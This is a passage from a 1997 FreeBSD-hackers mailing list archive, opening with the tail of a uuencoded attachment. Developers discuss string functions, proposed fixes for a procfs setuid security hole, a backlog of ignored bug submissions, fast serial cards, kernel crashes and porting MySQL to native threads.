M`?[^OXPFREKKO(3XO#+``>.P"CCDL?$9#""HC@Z![4#]-\7Q#;,(@MKX!!2J ME?>UG@>^`(0S`*`2\L[.,:4!07.I M+*6=0`U@V]LLI?-=Y6)<<4*!L*K9+5*D1^NKY=JH6E923%81) M"']\"^[6#Y##5P%%612T=0_Q-:7FG*#K?0*88?U<14(``!AP1[*%X[9G"^[( M_W`'Z4#,_0_E>K,T&Z`H4UY9(X<&`W,'!`H`;0N\\591=0Z&PQ'@YI38D^`( M"`^`3J.'4_""7/<#)[#^0&P-@:7POAN`&^X%_M((=S[U`/#N^.ED!Y8/440" M.A;Z6_?P`-$->AE="B.Z@!2RU;0"1>/_\1D%9!!4PHO4?>8``-_#'5ES_?ZK M.`YY;\62"`<`L)"ZD(=C3XJ+)#W+%H2MD1*/:8(@*@)!0'7O&C32M0'2E`&H M,M*G^.L!IKJ'[I1B4$?PZ>P%3#B+[D3\\)=.ZZD$DA0#4;!2`C#J#5``!")6 M_HY*Q$'X>?+0ZPHFKT7@Z]7_-2HM';S+!@,`M_$W_'D."_8%_$I,__)67K3S MN,G(V0(C(:W:^?>I(@#SMMA*&`*]RU(JQ`'?WN>H\*G"W800`P$+!=H#40'> M>R1"3<("`>^]"!L1+0$>]ZX(+PP4<]T"=[T)&Q+="0\O M]][\WF+="LOUAAG>#[;>'KLFC0JHA7K3F0XDWAZ8WM"0WA[J_]Y_WH$4][QI M%\06F//>=O`@WEMH"A4@`FUL[)P2LA9ZHS(._-Y[F@"NI1'>"ABA)LU^=QJZ MWN`.W@D?WLK?A4,.]>8DW@Z#W@YZU[\.)-X-+P5;:)7>"@X2Z'J[#=X'@-YK MO1/#"+2E)AJ=@5W7=[_>"RG>!37H']X/B;P$'JVVWAF=Z+K1EW M%75=L1`O"9?>`M=[)-X,#-YNYK/6%_(8]]YM#R^`WFKK#P(7]19M#Y#>&+JN MK2#>"9K>`O>N'=X8+Y/>`_0D#\1F^IQ`$5'KUG$GX) M^WH6AQ=C6]HMAQ>JY7\*#=S>2@LT"D[K6A>L#VEK/Q//F]H-;1K>6P4-21)I MM=<.ZNU=$#P+E0)O1P[X'*Z;>QN/#C,;VA`L%M)&IA%%O;<1'1H9WA.E-VX7 M,Q#TMH`3\PPV](`,AC89[ANTM?P8@:'W!LD08SC=)ETAP!K>`]=[)=X, M@=X5R-<;$MX-'=X7FS0)%T0*[TT9&4D/&IHN(PT1-&MW":0*8U/`(_\M:!$1 M;00/>V_K"5D'Z`TT#]X0;=:*$FL$HMX3&`@0?&)O#G8/>PRA:?$:_[.V%!@9 MM-1)%2';U17>%[+8V`<(#A`"VAHW"`D&)=_N;1#>%EL8(QALTL`/'W7:&]X. M)]X)!A;:H/<)TP*WIS#>#CZWT!%3);'08C:[&V*#WBZ["5+>7(L8U0H;>M-B M#C3>&E4F[2AW&6_>;"GNFS0SWCIW$^^:[C'>!UAH;'<-,IDIZ$V[&]X_-+9W M#DN9&]B;W!3>%VNB8PP9=P-YHQX0(ID!WOHXWA;'%C0QL1*MX9>V]4(&,8WA>IMX<3^2.^ M1 M!R?0FU$,)-X6:$U@#!'<`BN]%RD4,6EO&+A1WA1[;\<5W@Q#2\L7;=0X%*(% M>V\25#?>%]\(9T/P$*>;>A&:%AOO31-C%!,-6M0L%0,%[MX>3@TJ>[L10R)> M'!MZI`?J1&I[NY%3T-X!WK[2W`32W@'\":P!#11';`%E``!U+P4K+&QX:`MA M;WTD87LA`"@<7&%_;R4K$`T.4G<.```_?"YB8BML:'MS)C$\-1L)$P`:'@A% M9V9B)0YU,`,`D#X_+@A7!C@^#2@+-3:`H@4V.@A1$Q(94_XCHT-!`A45"084 M"QX%V5)99@/7`6R%DPX)*Q`*"P':7OH'?T$#`Q"]SS=)0=\_-`0:]W0F8Q`* M=CU>`U0."(_/?@PH" M()`,`0`@BFQF?R5S8G!D'0%J$2D:/SB<"(%]:FEWG6AJ;&0.(`XI'71:<71I M=20$,!"UM!AHL[()@`(?7GYD9TEC(TY@0BAD:NQ48%5T4'=N:@A9#S4F:VN: M>AA\0(8+:+$.0@[#4#E2&$P:*J*&'G5]T$HSSRL:EHXZ!>_P(R\92`2C`K&* M!A"W!P@)_R0`<0&A`:T!WP'K`0L"KP*8!*0$LP2@!M<&:@=T!]0'X0?O!_0' M`P@+"!`(&@@G"#4(.@A)"%$(5@@F"3$)2PI(#J42P!+6$O42___%!@!```"5 !!` end From owner-freebsd-hackers Sun Aug 10 10:33:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA01724 for hackers-outgoing; Sun, 10 Aug 1997 10:33:55 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA01719 for ; Sun, 10 Aug 1997 10:33:51 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id NAA02424; Sun, 10 Aug 1997 13:34:25 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id NAA19603; Sun, 10 Aug 1997 13:34:40 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sun, 10 Aug 1997 13:34:39 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Mikael Karpberg cc: Darren Reed , hackers@FreeBSD.ORG Subject: Re: creating man 9f In-Reply-To: <199708101505.RAA12760@ocean.campus.luth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Mikael Karpberg wrote: > Not really realted, but it's always annoyed me that all the strcat and strcpy > functions are so ineffective. They return a pointer to the buffer you > supply to the function (which is useless since you have it already) and > not a pointer to the trailing NUL. So if you want to add two strings you The GNU C library includes stpcpy(3), which does what you describe above. I find sprintf() easier, but there is precedence for the extension you describe. :) Hehe. "This function is not part of the ANSI or POSIX standards, and is not customary on Unix systems, but we did not invent it either. Perhaps it comes from MS-DOG." - GNU C lib ref. manual -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sun Aug 10 10:34:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA01791 for hackers-outgoing; Sun, 10 Aug 1997 10:34:53 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA01784 for ; Sun, 10 Aug 1997 10:34:50 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id KAA17222; Sun, 10 Aug 1997 10:34:50 -0700 Date: Sun, 10 Aug 1997 10:34:50 -0700 From: Sean Eric Fagan Message-Id: <199708101734.KAA17222@kithrup.com> To: hackers@freebsd.org Subject: Re: Fix for the PROCFS security hole! In-Reply-To: Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article you write: >I'm not to sure how to do it, but IF the procfs system could be modified >to somehow act like the /dev/tty* system, where the second a user >logs on the device is then owned by them and all other users access is >revoked. This could work that a setuid proc when exec'd, procfs would >automatically change permissions on it so that it is untainable. The solution I'm working on right now (which I've had in mind for a while) was to have procfs return an error when doing any I/O to a process which has ever changed id's, unless (of course) the calling process is root. From owner-freebsd-hackers Sun Aug 10 10:44:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA02291 for hackers-outgoing; Sun, 10 Aug 1997 10:44:17 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA02286 for ; Sun, 10 Aug 1997 10:44:13 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id KAA01216; Sun, 10 Aug 1997 10:43:31 -0700 (PDT) To: Brandon Gillespie cc: freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) In-reply-to: Your message of "Sun, 10 Aug 1997 10:50:27 MDT." Date: Sun, 10 Aug 1997 10:43:31 -0700 Message-ID: <1212.871235011@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Basically, what i'm wondering (as a disgruntled person wanting to help but > seeming to be ignored) is why isn't there somebody simply responsible for > non-developer submissions? So far it seems that the way things work > around here is if a developer takes interest in it, it'll move forward, > otherwise too bad, mebbe one of the other *BSD systems will like it. There are two issues here: 1. We lost our GNATs admin, Mike Pritchard, and we've not yet found someone to do what he used to do - periodically audit the PR database and prod the appropriate people whenever it looks like something is being inadvertantly ignored. 2. Conventional wisdom has always been that rather than hope that someone will just automatically pick up something you've submitted via send-pr, after a reasonable interval (~2 weeks) it's perfectly acceptable to send a message to committers@freebsd.org and say "Yo! Anyone among the 97 of you there interested in picking this up? Please?" I've actually _yet_ to see this level of escallation fail, so I can't tell you what the next logical step would be. ;-) The nice thing about Mike was that he essentially did the #2 step on your behalf. Sure wish we could find someone else like him. :-( Jordan From owner-freebsd-hackers Sun Aug 10 11:21:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04367 for hackers-outgoing; Sun, 10 Aug 1997 11:21:45 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA04360 for ; Sun, 10 Aug 1997 11:21:42 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA12446; Sun, 10 Aug 1997 20:21:30 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA04625; Sun, 10 Aug 1997 20:10:37 +0200 (MET DST) Message-ID: <19970810201037.LI16281@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 20:10:37 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: brandon@roguetrader.com (Brandon Gillespie) Subject: Re: why bother submitting anything (via send-pr) References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brandon Gillespie wrote: > Basically, what i'm wondering (as a disgruntled person wanting to help but > seeming to be ignored) is why isn't there somebody simply responsible for > non-developer submissions? Because it would be a very dreadful job to do nothing else than this (and if you look at the number of outstanding PRs, you'll quickly notice that one person could really deal with this all day and night -- it's not that you're the only one being ignored). The last person who volunteered to do this dreadful job was Mike Pritchard, who disappeared from the earth's surface all of a sudden (although there are now rumours that he's indeed still alive, which itself is already good news, but doesn't help your problem). > Now, to retract a touch, I was in contact with Mark Murray > (mark@grondar.za) about the libcrypt rewrite--but I think he had some > hardware problems Yep, his hardware has been stolen. And yep, he's really the guy in charge for this kind of stuff. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Aug 10 11:30:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04780 for hackers-outgoing; Sun, 10 Aug 1997 11:30:05 -0700 (PDT) Received: from usc.usc.unal.edu.co ([200.21.26.65]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA04764 for ; Sun, 10 Aug 1997 11:30:00 -0700 (PDT) Received: from unalmodem13.usc.unal.edu.co by usc.usc.unal.edu.co (AIX 4.1/UCB 5.64/4.03) id AA20340; Sun, 10 Aug 1997 14:23:32 -0400 Message-Id: <33EE236C.5FCB@fps.biblos.unal.edu.co> Date: Sun, 10 Aug 1997 13:24:12 -0700 From: "Pedro Giffuni S," Organization: Universidad Nacional de Colombia X-Mailer: Mozilla 3.01Gold [it] (Win16; I) Mime-Version: 1.0 To: hoek@hwcn.org Cc: Brandon Gillespie , freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tim Vanderhoek wrote: > > It might help to Cc the original pr to the person who (should) be > responsible. Any reason for a follow-up can also remind someone > of the pr, too. :-) > It is not always clear who is responsible, specially if you are not a developer..:-(. Pedro. > -- > Outnumbered? Maybe. Outspoken? Never! > tIM...HOEk From owner-freebsd-hackers Sun Aug 10 11:31:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04868 for hackers-outgoing; Sun, 10 Aug 1997 11:31:40 -0700 (PDT) Received: from spoon.beta.com (root@[199.165.180.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA04859 for ; Sun, 10 Aug 1997 11:31:37 -0700 (PDT) Received: from spoon.beta.com (mcgovern@localhost [127.0.0.1]) by spoon.beta.com (8.8.5/8.8.5) with ESMTP id OAA00540; Sun, 10 Aug 1997 14:31:50 -0400 (EDT) Message-Id: <199708101831.OAA00540@spoon.beta.com> To: tom@sdf.com cc: hackers@freebsd.org Subject: 230+K (was RE: ISDN driver/cards) Date: Sun, 10 Aug 1997 14:31:50 -0400 From: "Brian J. McGovern" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just as an FYI, there is a new Cyclades driver (beta quality) that drives their Cyclom-Zs (latest currently supports all the Zo family, as well as the Zes - up to 64 ports). The cards are capable of 920K/s (stepping down to 460, 230, etc). The way I kludged in support for these faster speed cards were to use the low-end, mostly unused baud rates, so that 50bps was 230K, 75 was 460K, and now I'll be using 150 baud for 920K. Since there are very few devices that use such low baud rates at this point, I figured it was reasonable, and it'd give the OS and application developers a chance to support the higher rates. Things like kermit, for example, only go to 115200. I've seen earlier versions still floating around that didn't do beyond 38400. Cost on a Cyclades 8Zo, BTW, was around $500-700 the last time I checked. I admit, its expensive ($60-70 per port)... But, like i said, it does 920K, and I'm sure as the rest of the hardware world catches up, the cost will come down. Anyhow, just thought you'd like to know there are some UART (or "serial port") based solultions out there. -Brian From owner-freebsd-hackers Sun Aug 10 11:35:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05298 for hackers-outgoing; Sun, 10 Aug 1997 11:35:27 -0700 (PDT) Received: from x22 (ppp1671.on.sympatico.ca [206.172.249.135]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05287 for ; Sun, 10 Aug 1997 11:35:24 -0700 (PDT) Received: from localhost (tim@localhost) by x22 (8.8.5/8.7.3) with SMTP id OAA00359; Sun, 10 Aug 1997 14:34:07 -0400 (EDT) Date: Sun, 10 Aug 1997 14:34:06 -0400 (EDT) From: Tim Vanderhoek Reply-To: ac199@hwcn.org To: "Pedro Giffuni S," cc: hoek@hwcn.org, Brandon Gillespie , freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: <33EE236C.5FCB@fps.biblos.unal.edu.co> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Pedro Giffuni S, wrote: > Tim Vanderhoek wrote: > > > > It might help to Cc the original pr to the person who (should) be > > responsible. Any reason for a follow-up can also remind someone > > of the pr, too. :-) > > It is not always clear who is responsible, specially if you are not a > developer..:-(. CVS logs are publicly available and show who the last person to touch a given piece of code is. By the Law of CyberSpace, the last person to touch a piece of code is responsible. :-) Of course, that doesn't mean they _are_ responsible... It just means they _should be_... ;-) -- tIM...HOEk OPTIMIZATION: the process of using many one-letter variables names hoping that the resultant code will run faster. From owner-freebsd-hackers Sun Aug 10 11:43:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05931 for hackers-outgoing; Sun, 10 Aug 1997 11:43:41 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05918 for ; Sun, 10 Aug 1997 11:43:36 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id OAA19141; Sun, 10 Aug 1997 14:43:22 -0400 (EDT) Date: Sun, 10 Aug 1997 14:43:22 -0400 (EDT) From: Brian Mitchell To: Eivind Eklund cc: Alfred Perlstein , hackers@FreeBSD.ORG Subject: Re: Fix for the PROCFS security hole! In-Reply-To: <199708101539.RAA05202@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Eivind Eklund wrote: > > > > > > I'm not to sure how to do it, but IF the procfs system could be modified > > to somehow act like the /dev/tty* system, where the second a user > > logs on the device is then owned by them and all other users access is > > revoked. This could work that a setuid proc when exec'd, procfs would > > automatically change permissions on it so that it is untainable. > > Possibly. It seems somewhat difficult, though, as when you have a > file-descriptor I believe the access is only checked the moment you > open the file, not on each access. Thus, you can e.g. drop root > privileges after having bound to a privileged port. > > It might be possible to hack only procfs to actually do that checking, > though. Seems the most feasible way to solve this. > > Eivind. > Well, what I thought was: When you open a procfs 'file', set the ptraced flag. Every 'file' should check to make sure this flag is still set, if not return an error. kern_exec already checks for the existance of this flag and removes it for set[ug]id programs. From owner-freebsd-hackers Sun Aug 10 11:48:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06298 for hackers-outgoing; Sun, 10 Aug 1997 11:48:23 -0700 (PDT) Received: from sev.mtelecom.ru (gw2.mtelecom.ru [195.90.159.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA06292 for ; Sun, 10 Aug 1997 11:48:18 -0700 (PDT) Received: (from uucp@localhost) by sev.mtelecom.ru (8.8.4/8.8.4) with UUCP id WAA29681; Sun, 10 Aug 1997 22:51:58 +0400 (MSD) Received: from darkstar.da.mtelecom.ru (darkstar.da.mtelecom.ru [192.168.1.37]) by anka.da.mtelecom.ru (8.8.3/8.8.3) with ESMTP id WAA03695; Sun, 10 Aug 1997 22:24:02 +0400 (MSD) Received: (from seva@localhost) by darkstar.da.mtelecom.ru (8.8.5/8.8.5) id WAA05832; Sun, 10 Aug 1997 22:37:38 +0400 (MSD) To: Doug White , hackers@freebsd.org Subject: Re: vm_fault problem (fwd) References: From: Seva Semenov Date: 10 Aug 1997 22:37:32 +0400 In-Reply-To: Doug White's message of 8 Aug 1997 03:19:14 +0400 Message-ID: <86sowhj34j.fsf@darkstar.da.mtelecom.ru> Lines: 34 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I had the same on different hardware (5 machines P100/P133/486DX4-100 Compex en2000/3Com ) with 2.2.1 and 2.2.2-RELEASE. Removing by Midnight Commander big nfs directory coz rebooting. I'm not hacker to hack kernel code. Only solution i found - downgrade to 2.1.7.1-RELEASE. But the only reason i can't be happy with 2.1.7.1 is linux quake :). Doug White writes: [...] > Since the upgrade the machine has been rebooting at random intervals > (anything from 5 minutes to 2 days) and > I can find no log trace or core files. > Then yesterday I caught it doing it and managed to write it down! I THINK > this is exactly what it said... > > vm_fault: fault on nofault entry: address f296c000 > > then it had something about syncing the disks (it failed) and that I could > press a key to stop the reboot. I did press a key but it rebooted anyway. > > PLEASE help!!! Is it a bad SIMM??? MB Cache? Should I disable the cache? > > This machine is my gateway. My ISDN is connected to it, as are all 5 of my > dialup lines. This reboot thing is crippling my business! Thank you in > advance for your help. From owner-freebsd-hackers Sun Aug 10 11:52:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06569 for hackers-outgoing; Sun, 10 Aug 1997 11:52:35 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA06558 for ; Sun, 10 Aug 1997 11:52:30 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.7/8.8.5) id UAA27642; Sun, 10 Aug 1997 20:52:20 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708101852.UAA27642@helbig.informatik.ba-stuttgart.de> Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: from Brandon Gillespie at "Aug 10, 97 10:50:27 am" To: brandon@roguetrader.com (Brandon Gillespie) Date: Sun, 10 Aug 1997 20:52:19 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm debating with myself why I should bother submitting anything with > send-pr anymore. It seems that unless it happens to be a pet project of > one of the developers, it will pretty much be ignored and never committed. > I have two submissions pending SOME response (even a 'no, we dont want it' > would be appreciated)--but nothing. The first is a rewrite of the > libcrypt, and the second is 'doconfig' (a wrap of the kernel build > process, based off Digital Unix'es doconfig). Its been so long since I've > sent these in that I've lost the send-pr id for them (altho I could dig > them up again). The cryp() stuff is misc/2302 (1996/12/27) and the config wrapper is bin/3386 (1997/04/25). misc/2302 was analyzed by Mark Murray and he wrote on Jan 18 that he is going to "commit it real soon now". bin/3386 was "Responsible Changed" from gnats-admin-> to FreeBSD-bugs by Satoshi on May 20. That is all that happened to those two PRs till today. The PRs seem to be orphaned since Mike Pritchard left the FreeBSD project in May 1997. We submitters who are not committers have a *very* hard time getting any feedback. Six of my submissions are left open. Some of them are already fixed or analyzed and should be closed, some are only fixing typos or adding a line to man pages and are not worth the trouble you have to go into in order to get your submission noticed. > Basically, what i'm wondering (as a disgruntled person wanting to help but > seeming to be ignored) is why isn't there somebody simply responsible for You are not the only one wondering! > non-developer submissions? So far it seems that the way things work > around here is if a developer takes interest in it, it'll move forward, > otherwise too bad, mebbe one of the other *BSD systems will like it. They do! Last week I've got more responses (three) from NetBSD users than from the FreeBSD project (zero). > Now, to retract a touch, I was in contact with Mark Murray > (mark@grondar.za) about the libcrypt rewrite--but I think he had some > hardware problems and either lost interest or isn't able to do much at the > moment (I havn't had any responses back from him). Jordan mentioned that he's going to hire developers for porting the OS to another architecture. (He left open which architecture.) I conclude from this, the desertion of the PRs and the discussion about current ports versus stable ports that the FreeBSD project is switching to a commercial company that does not depend on volunteers any more in the long run. Wolfgang From owner-freebsd-hackers Sun Aug 10 12:23:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08473 for hackers-outgoing; Sun, 10 Aug 1997 12:23:33 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08457; Sun, 10 Aug 1997 12:23:18 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id MAA17907; Sun, 10 Aug 1997 12:23:01 -0700 (PDT) Message-ID: <19970810122300.49917@hydrogen.nike.efn.org> Date: Sun, 10 Aug 1997 12:23:00 -0700 From: John-Mark Gurney To: Brandon Gillespie Cc: freebsd-hackers@FreeBSD.ORG, markm@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Brandon Gillespie on Sun, Aug 10, 1997 at 10:50:27AM -0600 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brandon Gillespie scribbled this message on Aug 10: > I'm debating with myself why I should bother submitting anything with > send-pr anymore. It seems that unless it happens to be a pet project of > one of the developers, it will pretty much be ignored and never committed. > I have two submissions pending SOME response (even a 'no, we dont want it' > would be appreciated)--but nothing. The first is a rewrite of the > libcrypt, pr2302, this one has been analyzed by markm, and the last statement on the code is: I'll commit this real soon now. of course that was back on Jan 18... so I'm cc'ing markm onto this thread... > and the second is 'doconfig' (a wrap of the kernel build > process, based off Digital Unix'es doconfig). Its been so long since I've > sent these in that I've lost the send-pr id for them (altho I could dig > them up again). pr3386... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Sun Aug 10 12:34:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA09216 for hackers-outgoing; Sun, 10 Aug 1997 12:34:43 -0700 (PDT) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA09210 for ; Sun, 10 Aug 1997 12:34:40 -0700 (PDT) Received: from greenpeace.grondar.za (K1II66LTrYMGFfNujVXOwuDHxK2Mpr1u@greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.6/8.8.7) with ESMTP id VAA23089; Sun, 10 Aug 1997 21:34:38 +0200 (SAT) Received: from greenpeace.grondar.za (S5ANhMmHB3Vp1iYpS99P/eDgCDzFEGEE@localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.6/8.8.7) with ESMTP id VAA10353; Sun, 10 Aug 1997 21:34:24 +0200 (SAT) Message-Id: <199708101934.VAA10353@greenpeace.grondar.za> X-Mailer: exmh version 2.0zeta 7/24/97 To: gurney_j@resnet.uoregon.edu, brandon@roguetrader.com cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Postmaster notify: Host unknown (Name server: hydrogen.nike.efn.org: host not found) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 10 Aug 1997 21:34:23 +0200 From: Mark Murray Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Brandon Gillespie scribbled this message on Aug 10: > > I'm debating with myself why I should bother submitting anything with > > send-pr anymore. It seems that unless it happens to be a pet project of > > one of the developers, it will pretty much be ignored and never committed. > > I have two submissions pending SOME response (even a 'no, we dont want it' > > would be appreciated)--but nothing. The first is a rewrite of the > > libcrypt, > > pr2302, this one has been analyzed by markm, and the last statement on > the code is: > I'll commit this real soon now. > > of course that was back on Jan 18... so I'm cc'ing markm onto this > thread... I must apologise for slacking off here. I was burgled 6 weeks ago, and my computers were taken/damaged. A shitload of work was irrevocably lost, and I am catcing up with it at random intervals. I have no old email to go by and a job to maintain, so my priorities may seem a little screwed. I will get to it. The best method of geeping track at the moment is with gnats. At least that can't get pinched :-) M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org From owner-freebsd-hackers Sun Aug 10 12:49:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA10081 for hackers-outgoing; Sun, 10 Aug 1997 12:49:02 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA10076 for ; Sun, 10 Aug 1997 12:48:59 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id MAA05807; Sun, 10 Aug 1997 12:48:53 -0700 (PDT) Message-Id: <199708101948.MAA05807@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Paul Southworth cc: freebsd-hackers@FreeBSD.ORG Subject: Re: MySQL using FreeBSD native threads (3.0) In-reply-to: Your message of "Sun, 10 Aug 1997 09:26:45 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 10 Aug 1997 12:48:53 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have an old patched version of the threads library which has: pthread_setprio() and pthread_attr_setprio() however pthread_attr_setscope() is not there. So the first two I expect to be integrated soon as we can get hold of John Birrell We will have to ask John why the SCHED_* defines are not placed in a standard location . As for your thread test program not working care to post your test program? Hopefully this simple exercise will help others that could be having similar problems. Regards, Amancio >From The Desk Of Paul Southworth : > On Wed, 6 Aug 1997, Amancio Hasty wrote: > > :Care to just post the questions? > > These were sent to jb@cimlogic.com.au but that address bounces now (a > couple weeks ago it worked, but the mailhost there has been unreachable > for a week or so). > > If you have any answers to these, please copy me since I do not subscribe > to the hackers list currently. > > The questions below refer to porting MySQL to use FreeBSD native threads; > the work is being done using the 3.0-970618-SNAP release. > > 1) There isn't a sched.h file. pthread.h have prototypes for some functions > that uses sched_param but it's a little problem to use them now :) > > 2) I looked into /usr/src/lib/libc_r/uthread/pthread_priv.h and found > the following: > > ---- > struct sched_param { > int prio; 